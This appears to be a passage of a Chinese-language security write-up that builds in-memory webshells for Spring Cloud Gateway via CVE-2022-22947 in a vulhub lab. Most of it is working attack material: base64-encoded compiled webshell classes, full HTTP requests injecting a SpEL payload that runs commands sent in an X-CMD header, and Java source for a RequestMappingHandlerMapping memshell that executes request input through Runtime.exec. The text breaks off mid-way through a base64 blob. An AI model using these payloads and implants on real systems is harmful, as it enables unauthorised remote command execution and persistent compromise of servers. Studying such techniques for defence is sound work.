kAQAMY29waWVkQnVmZmVyAQBNKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7KUxpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjsBAHUoTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwVmVyc2lvbjtMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cztMaW8vbmV0dHkvYnVmZmVyL0J5dGVCdWY7KVYBACxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvRnVsbEh0dHBSZXNwb25zZQEAK2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyTmFtZXMBAAxDT05URU5UX1RZUEUBABtMaW8vbmV0dHkvdXRpbC9Bc2NpaVN0cmluZzsBAFUoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9PYmplY3Q7KUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQANd3JpdGVBbmRGbHVzaAEANChMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZTsBACZpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmVMaXN0ZW5lcgEABUNMT1NFAQAoTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyOwEAHmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZQEAC2FkZExpc3RlbmVyAQBSKExpby9uZXR0eS91dGlsL2NvbmN1cnJlbnQvR2VuZXJpY0Z1dHVyZUxpc3RlbmVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwAhABcAPgABAD8AAAAFAAEAQABBAAEAQgAAAC8AAQABAAAABSq3AAGxAAAAAgBDAAAABgABAAAADgBEAAAADAABAAAABQBFAEYAAAAJAEcASAABAEIAAAHDAAQACgAAALUSAksSAxIEA70ABbYABkwrBLYABysBA70ACLYACU0DPh0suAAKogCHLB24AAs6BBkExgB1GQS2AAy2AA0SDrYAD5kAZRkEtgAMEhC2ABE6BRkFBLYAEhkFGQS2ABM6BhkGtgAMtgAUEhW2ABE6BxkHBLYAEhkHGQa2ABM6CBkItgAMtgAUtgAUEha2ABE6CRkJBLYAEhkJGQi7ABdZtwAYtgAZEhpLhAMBp/93pwAHTBIcSyqwAAEAAwCsAK8AGwADAEMAAABaABYAAAAQAAMAEgAPABMAFAAUAB4AFgAoABcALwAYAEQAGQBQABoAVgAbAF8AHABuAB0AdAAeAH0AHwCPACAAlQAhAKMAIgCmABYArAAnAK8AJQCwACYAswAoAEQAAABwAAsAUABWAEkASgAFAF8ARwBLAEwABgBuADgATQBKAAcAfQApAE4ATAAIAI8AFwBPAEoACQAvAHcAUABMAAQAIACMAFEAUgADAA8AnQBTAFQAAQAeAI4AVQBMAAIAsAADAFYAVwABAAMAsgBYAFkAAABaAAAAHgAF/wAgAAQHAFsHAFwHAAgBAAD7AIX4AAVCBwAbAwABAF0AXgACAEIAAAB2AAUABQAAABwsuQAdAQA6BBkEEh4SH7sAF1m3ABi5ACAEAFexAAAAAgBDAAAADgADAAAALgAIADAAGwAxAEQAAAA0AAUAAAAcAEUARgAAAAAAHABfAGAAAQAAABwAYQBiAAIAAAAcAGMAZAADAAgAFABlAGYABABnAAAADQMAXwAAAGEAAABjAAAAAQBoAGkAAwBCAAABEAAEAAYAAABhLMEAIZkAVCzAACFOLbkAIgEAEiO2ACSZADctuQAiAQASI7YAJToEuwAmWbgAJxkEtgAotgAptwAqEiu2ACy2AC06BSorGQWyAC63AC+xpwAKOgQZBLYAMCssuQAxAgBXsQABAAwATQBRABsAAwBDAAAAMgAMAAAANwAHADgADAA6ABoAOwAnADwAQwA+AE0APwBOAEMAUQBBAFMAQgBYAEUAYABGAEQAAABIAAcAJwAnAGoAWQAEAEMACwBrAFkABQBTAAUAVgBXAAQADABMAGwAbQADAAAAYQBFAEYAAAAAAGEAbgBvAAEAAABhAFgATAACAFoAAAAPAAP8AE4HACFCBwAb+gAGAHAAAAAEAAEAGwBnAAAACQIAbgAAAFgAAAACAHEAcgACAEIAAACUAAYABQAAADa7ADJZsgAzLSyyADS4ADW3ADY6BBkEuQA3AQCyADgSObYAOlcrGQS5ADsCALIAPLkAPQIAV7EAAAACAEMAAAASAAQAAABKABQASwAkAEwANQBNAEQAAAA0AAUAAAA2AEUARgAAAAAANgBuAG8AAQAAADYAcwBZAAIAAAA2AHQAdQADABQAIgB2AHcABABnAAAADQMAbgAAAHMAAAB0AAAAAQB4AAAAAgB5

使用 vulhub/spring/CVE-2022-22947 环境

plain
1
docker compose up -d

传入内存马:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /actuator/gateway/routes/memshell HTTP/1.1
Host: 192.168.31.16:8080
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/memshell/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBDwoAPgB6CAB7BwB8CABTBwB9CgAFAH4KAFwAfwcAgAoAXACBCgCCAIMKAIIAhAoACACFCgAFAIYIAIcKAFsAiAgASwoABQCJCgCKAH8KAIoAiwoABQCMCABOCACNBwCOCgAXAHoKAIoAjwgAkAcAkQgAkgsAkwCUCACVCACWCwCXAJgHAJkLACEAmggAmwoAnACdCgCcAJ4HAJ8KAKAAoQoAoACiCgCjAKQKACYApQgApgoAJgCnCgAmAKgJAKkAqgoAFwCrCgAbAKwLAK0ArgcArwkAsACxCQCyALMKALQAtQoAMgC2CwC3AJoJALgAuQgAugoAnAC7CwCtALwJAL0AvgsAvwDABwDBBwDCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAwwcAxAEADW9uQ2hhbm5lbEluaXQBAFcoTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7TGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KVYBABJjb25uZWN0aW9uT2JzZXJ2ZXIBACJMcmVhY3Rvci9uZXR0eS9Db25uZWN0aW9uT2JzZXJ2ZXI7AQAHY2hhbm5lbAEAGkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7AQANc29ja2V0QWRkcmVzcwEAGExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEACHBpcGVsaW5lAQAiTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAEE1ldGhvZFBhcmFtZXRlcnMBAAtjaGFubmVsUmVhZAEAPShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9PYmplY3Q7KVYBAANjbWQBAApleGVjUmVzdWx0AQALaHR0cFJlcXVlc3QBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXF1ZXN0OwEAA2N0eAEAKExpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsBAApFeGNlcHRpb25zAQAEc2VuZAEAbShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9TdHJpbmc7TGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7KVYBAAdjb250ZXh0AQAGc3RhdHVzAQAwTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7AQAIcmVzcG9uc2UBAC5MaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0Z1bGxIdHRwUmVzcG9uc2U7AQAKU291cmNlRmlsZQEAEk5ldHR5TWVtc2hlbGwuamF2YQwAQABBAQAMaW5qZWN0LXN0YXJ0AQAQamF2YS9sYW5nL1RocmVhZAEAD2phdmEvbGFuZy9DbGFzcwwAxQDGDADHAMgBABBqYXZhL2xhbmcvT2JqZWN0DADJAMoHAMsMAMwAzQwAzgDPDADQANEMANIASAEADk5ldHR5V2ViU2VydmVyDADTANQMANUA1gcA1wwAzgDYDADZANEBAA9kb09uQ2hhbm5lbEluaXQBAA1OZXR0eU1lbXNoZWxsDADaANsBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IHANwMAGUA3QEAH3JlYWN0b3IubGVmdC5odHRwVHJhZmZpY0hhbmRsZXIBABBtZW1zaGVsbF9oYW5kbGVyBwDeDADfAOABACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlcXVlc3QMAOEA4gEABVgtQ01EBwDjDADTAOQMAM4A5QEAEWphdmEvdXRpbC9TY2FubmVyBwDmDADnAOgMAOkA6gcA6wwA7ADtDABAAO4BAAJcQQwA7wDwDADxAEgHAPIMAPMAdQwAcQByDAD0AEEHAPUMAPYA9wEAM2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9EZWZhdWx0RnVsbEh0dHBSZXNwb25zZQcA+AwA+QD6BwD7DAD8AP0HAP4MAP8BAAwAQAEBBwECBwEDDAEEAQUBABl0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04DADaAQYMAQcBCAcBCQwBCgELBwEMDAENAQ4BACVpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxEdXBsZXhIYW5kbGVyAQAncmVhY3Rvci9uZXR0eS9DaGFubmVsUGlwZWxpbmVDb25maWd1cmVyAQAQamF2YS9sYW5nL1N0cmluZwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAXamF2YS9sYW5nL3JlZmxlY3QvQXJyYXkBAAlnZXRMZW5ndGgBABUoTGphdmEvbGFuZy9PYmplY3Q7KUkBAANnZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7SSlMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEADWdldFN1cGVyY2xhc3MBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABhpby9uZXR0eS9jaGFubmVsL0NoYW5uZWwBACQoKUxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZTsBACBpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxQaXBlbGluZQEACWFkZEJlZm9yZQEAaShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlcjspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAB2hlYWRlcnMBACsoKUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBIZWFkZXJzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEALmlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXMBAAJPSwEAD3ByaW50U3RhY2tUcmFjZQEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0AQAPZmlyZUNoYW5uZWxSZWFkAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uAQAISFRUUF8xXzEBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uOwEAGWlvL25ldHR5L3V0aWwvQ2hhcnNldFV0aWwBAAVVVEZfOAEAGkxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAYaW8vbmV0dHkvYnVmZmVyL1VucG9vbGVkAQAMY29waWVkQnVmZmVyAQBNKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7KUxpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjsBAHUoTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwVmVyc2lvbjtMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cztMaW8vbmV0dHkvYnVmZmVyL0J5dGVCdWY7KVYBACxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvRnVsbEh0dHBSZXNwb25zZQEAK2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyTmFtZXMBAAxDT05URU5UX1RZUEUBABtMaW8vbmV0dHkvdXRpbC9Bc2NpaVN0cmluZzsBAFUoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9PYmplY3Q7KUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQANd3JpdGVBbmRGbHVzaAEANChMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZTsBACZpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmVMaXN0ZW5lcgEABUNMT1NFAQAoTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyOwEAHmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZQEAC2FkZExpc3RlbmVyAQBSKExpby9uZXR0eS91dGlsL2NvbmN1cnJlbnQvR2VuZXJpY0Z1dHVyZUxpc3RlbmVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwAhABcAPgABAD8AAAAFAAEAQABBAAEAQgAAAC8AAQABAAAABSq3AAGxAAAAAgBDAAAABgABAAAADgBEAAAADAABAAAABQBFAEYAAAAJAEcASAABAEIAAAHDAAQACgAAALUSAksSAxIEA70ABbYABkwrBLYABysBA70ACLYACU0DPh0suAAKogCHLB24AAs6BBkExgB1GQS2AAy2AA0SDrYAD5kAZRkEtgAMEhC2ABE6BRkFBLYAEhkFGQS2ABM6BhkGtgAMtgAUEhW2ABE6BxkHBLYAEhkHGQa2ABM6CBkItgAMtgAUtgAUEha2ABE6CRkJBLYAEhkJGQi7ABdZtwAYtgAZEhpLhAMBp/93pwAHTBIcSyqwAAEAAwCsAK8AGwADAEMAAABaABYAAAAQAAMAEgAPABMAFAAUAB4AFgAoABcALwAYAEQAGQBQABoAVgAbAF8AHABuAB0AdAAeAH0AHwCPACAAlQAhAKMAIgCmABYArAAnAK8AJQCwACYAswAoAEQAAABwAAsAUABWAEkASgAFAF8ARwBLAEwABgBuADgATQBKAAcAfQApAE4ATAAIAI8AFwBPAEoACQAvAHcAUABMAAQAIACMAFEAUgADAA8AnQBTAFQAAQAeAI4AVQBMAAIAsAADAFYAVwABAAMAsgBYAFkAAABaAAAAHgAF/wAgAAQHAFsHAFwHAAgBAAD7AIX4AAVCBwAbAwABAF0AXgACAEIAAAB2AAUABQAAABwsuQAdAQA6BBkEEh4SH7sAF1m3ABi5ACAEAFexAAAAAgBDAAAADgADAAAALgAIADAAGwAxAEQAAAA0AAUAAAAcAEUARgAAAAAAHABfAGAAAQAAABwAYQBiAAIAAAAcAGMAZAADAAgAFABlAGYABABnAAAADQMAXwAAAGEAAABjAAAAAQBoAGkAAwBCAAABEAAEAAYAAABhLMEAIZkAVCzAACFOLbkAIgEAEiO2ACSZADctuQAiAQASI7YAJToEuwAmWbgAJxkEtgAotgAptwAqEiu2ACy2AC06BSorGQWyAC63AC+xpwAKOgQZBLYAMCssuQAxAgBXsQABAAwATQBRABsAAwBDAAAAMgAMAAAANwAHADgADAA6ABoAOwAnADwAQwA+AE0APwBOAEMAUQBBAFMAQgBYAEUAYABGAEQAAABIAAcAJwAnAGoAWQAEAEMACwBrAFkABQBTAAUAVgBXAAQADABMAGwAbQADAAAAYQBFAEYAAAAAAGEAbgBvAAEAAABhAFgATAACAFoAAAAPAAP8AE4HACFCBwAb+gAGAHAAAAAEAAEAGwBnAAAACQIAbgAAAFgAAAACAHEAcgACAEIAAACUAAYABQAAADa7ADJZsgAzLSyyADS4ADW3ADY6BBkEuQA3AQCyADgSObYAOlcrGQS5ADsCALIAPLkAPQIAV7EAAAACAEMAAAASAAQAAABKABQASwAkAEwANQBNAEQAAAA0AAUAAAA2AEUARgAAAAAANgBuAG8AAQAAADYAcwBZAAIAAAA2AHQAdQADABQAIgB2AHcABABnAAAADQMAbgAAAHMAAAB0AAAAAQB4AAAAAgB5'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://xvshifu.github.io/",
  "order": 0
}

img

刷新路由:

plain
1
2
3
4
5
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.31.16:8080
Content-Type: application/json
Connection: close
Content-Length: 258

img

查看添加的路由:

plain
1
2
3
GET /actuator/gateway/routes HTTP/1.1
Host: 192.168.31.16:8080
Connection: close

img

测试注入成功:

plain
1
2
3
4
5
6
POST /actuator/gateway/memshell/test HTTP/1.1
Host: 192.168.31.16:8080
Content-Type: application/json
Connection: close 
X-CMD: whoami 
Content-Length: 0

img

img

记得删除:

java
1
2
3
DELETE /actuator/gateway/routes/memshell HTTP/1.1
Host: 192.168.31.16:8080
Content-Type: application/json

3.3 Spring 层内存马

3.3.1 思路

Spring 层 request 请求处理组件很多,有 handler/Adapter/Filter 等等,理论上都可以拿来做内存马,这里我分享下最简单的 RequestMappingHandler。

Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成

\1. org.springframework.web.reactive.HandlerMapping 路由比配器

\2. org.springframework.web.reactive.HandlerAdapter handler适配器

\3. org.springframework.web.reactive.HandlerResultHandler 结果处理器

源码路径:

text
1
org\springframework\spring-webflux\5.2.15.RELEASE\spring-webflux-5.2.15.RELEASE-sources.jar!\org\springframework\web\reactive\DispatcherHandler.java

img

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Override
//Spring WebFlux 中 统一入口点,每当有 HTTP 请求进来,DispatcherHandler 就会调用该方法进行处理。
//ServerWebExchange 包含请求和响应的所有内容
public Mono<Void> handle(ServerWebExchange exchange) {
//判断是否存在 HandlerMapping
if (this.handlerMappings == null) {
    return createNotFoundError();
}
//将所有 HandlerMapping 转换为 Flux
return Flux.fromIterable(this.handlerMappings)
//对每个 HandlerMapping 执行:mapping.getHandler(exchange)
//匹配请求,找到对应处理器 handler
.concatMap(mapping -> mapping.getHandler(exchange))
//Flux 中可能返回多个(理论上),但只需要第一个匹配的 handler
.next()
//如果上面的 .next() 没有找到匹配的 handler,这里返回 404。
.switchIfEmpty(createNotFoundError())
//找到 handler 以后,并非直接执行它,而是交给 HandlerAdapter
.flatMap(handler -> invokeHandler(exchange, handler))
//将 handler 执行结果写入响应
.flatMap(result -> handleResult(exchange, result));
}

根据这个流程,我们找出一个构造内存马的思路,让 HandlerMapping 注册一个映射关系,通过映射关系让特定的 HandlerAdapter 执行到内存马流程,最后内存马返回一个 HandlerResultHandler 可以处理的结果类型即可。

沿用 @c0ny1 师傅选择的类:RequestMappingHandlerMapping

3.3.2 内存马:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

分析:

该内存马动态往 Spring 的 RequestMappingHandlerMapping 注册一个新的 URL 映射(Mapping),并绑定到 executeCommand() 方法。

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class SpringRequestMappingMemshell {
    //注入入口,参数:Spring 的 RequestMappingHandlerMapping 实例
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            //获取 registerHandlerMethod 反射方法
            //绕过 Spring 注解体系,使用反射直接注册一个新的处理器方法。
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            
            //获取统一处理器方法 executeCommand
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            
            //构造 RequestMappingInfo
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            
            //正式注入
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            //返回注入结果
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    //获取 cmd 参数,Runtime.getRuntime().exec(cmd) 执行系统命令
    //使用 Scanner 将结果读取为字符串
    //Spring MVC 返回文本 — ResponseEntity
    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

3.3.3 尝试攻击

原始 payload:

java
1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

那怎么获取到RequestMappingHandlerMapping呢?通过java-object-searcher自然可以定位到,小组的@whw1sfb师傅提到了一种更简便的方案,从SPEL上下文的bean当中获取

构造 payload:

java
1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(RequestMappingHandlerMapping)}

SpringRequestMappingMemshell.java -> SpringRequestMappingMemshell.class -> Base64:

java
1
yv66vgAAADQAiwoABgBICABJCgAGAEoIADAHAEsHAEwHAE0HAE4KAAUATwoABwBQBwBRCAAyBwBSBwBTCgAOAEgIAFQKAA4AVQcAVgcAVwoAEgBYCABZCgAIAFoKAAsASAoABwBbCABcBwBdCABeBwBfCgBgAGEKAGAAYgoAYwBkCgAcAGUIAGYKABwAZwoAHABoBwBpCQBqAGsKACQAbAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBABBNZXRob2RQYXJhbWV0ZXJzAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwBtAQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAJwAoAQAMaW5qZWN0LXN0YXJ0DABuAG8BAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MAHAAcQwAcgBzAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcBADZvcmcvc3Bya